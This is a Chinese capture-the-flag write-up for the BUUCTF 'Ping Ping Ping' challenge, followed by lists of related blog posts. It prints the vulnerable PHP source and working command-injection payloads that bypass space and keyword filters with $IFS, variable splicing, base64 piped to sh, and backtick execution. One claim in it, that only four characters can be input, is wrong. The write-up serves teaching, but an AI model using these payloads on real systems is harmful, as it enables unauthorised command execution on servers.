[GXYCTF2019]Ping Ping Ping 1

在本题我们考察的是命令执行

已进入本关,我们发现他在询问 ?ip

我们先尝试输入

?ip=127.0.0.1

发现访问成功

查询一下它的目录:

?ip=127.0.0.1|ls

发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。

?ip=127.0.0.1|cat flag.php

点击查询,
很明显我们需要进行一个空格的过滤

空格过滤常见绕过注释:

< > %20(space), %09(tab), $IFS$1

输入之后

?ip=127.0.0.1|cat<flag.php

发现:

可以知道,在本题它还过滤了 符号

所以我们换一种 空格的过滤方法:


?ip=127.0.0.1|cat$IFS$1flag.php

坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php

?ip=127.0.0.1|cat$IFS$1index.php

访问源码:

<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}?>

源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

什么是bash:

要想了解bash,就要先知道什么是shell:
首先,shell是一个程序,提供用户与电脑对话的环境(环境唯一:命令提示符又称为命令提示符)。shell可以接收到用户输入的命>令,将命令送入操作系统进行执行,并发布会结果。
再着,shell也可以作为一个命令解释器,就是我们常说的脚本。它支持变量,条件判断,循环操作等语法,所以我们可以用shell来>写出各种小程序(脚本)
而bash就是shell的脚本类型之一(还有sh csh tcsh 等),bash是目前最常用的shell。进入命令环境以后,一般就打开了bash了 我>们可以使用bash命令来构造shell来查找flag,本关虽然黑掉了bash 但我们还有 sh 用!!! 哈皮
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip)

if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

shell_exec(string $cmd): string

exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符

ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出

之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单

构造:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看页面源代码,发现flag。

当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

还有一种大佬操作,是我查询博客才了解的

内联执行 (真·大佬操作,小弟只有膜拜的份儿)

ip=127.0.0.1;cat$IFS$9`ls`

​ 注:内联,就是将反引号内命令的输出作为输入执行。

BUUCTF [GXYCTF2019]Ping Ping Ping 1相关推荐

  1. buuctf[GXYCTF2019]Ping Ping Ping

    buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...

  2. linux命令菜鸟ping,Linux ping命令

    Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...

  3. 复制vmware overLay网络无法ping通 ping www.baidu.com可以

    因为忘记关闭防火墙了!!!!!    要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...

  4. linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏

    简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...

  5. 虚拟机ping网关ping不通

    虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...

  6. 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等

    文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...

  7. C# ping命令,ping网络状态

    Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...

  8. BUUCTF [GXYCTF2019] 禁止套娃

    题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...

  9. BUUCTF | [GXYCTF2019]BabySQli

    BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...

最新文章

  1. 【UE5教程】影棚拍摄于虚拟场景合成制作流程学习
  2. java tomcat mysql_java+tomcat+mysql实现登录界面基本思路
  3. 堆排序 C++代码实现及思想 排序过程输出 恋上数据结构笔记
  4. Spring-mybatis 抽取 baseDao。
  5. java idea连数据库报错:Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone'时区错误
  6. wiki的watch设置
  7. python入门-简单的文件备份程序
  8. 叮咚买菜大裁员?回应:消息不实 目前业务都在正常运转
  9. Chrome 最小字体12px
  10. div盒子水平垂直居中的方法
  11. ACM大牛总结的线段树专辑
  12. 程序猿软件开发保护眼睛,win7设置窗口护眼模式?
  13. html当前月份的英文,一月到十二月各个月份的英文缩写
  14. 3月30日自走棋无限刷国外服务器,基础改动_逆水寒3月28日更新内容_自走棋全区服上线_3DM网游...
  15. 沧桑,何尝不是一种美丽 ----红尘一笑
  16. 《 HarmonyOS实战—HarmonyOS(鸿蒙)开发初体验,华为如何引领物联网时代》
  17. 男人应该做的50件事(1-16)
  18. 软件测试方法—动态测试
  19. win10更改时间崩溃
  20. 想要申请PhD,真是路漫漫啊

热门文章

  1. 基于 Spring SSM框架 开发的一套 进存销管理系统
  2. AODV=DSR+DSDV
  3. C++:分数处理(约分、加减乘除、假分数输出)
  4. Java8新特性之Stream流式编程
  5. 新版个人所得税python123_【Python教程】02.基础语法
  6. php redis sadd 多个,Redis Sadd 命令
  7. vscode安装插件以及配置anaconda
  8. (31)ObjectARX2015 + vs2012选择集
  9. java mp3 头信息_java读取mp3文件头信息
  10. iOS 5G网络判断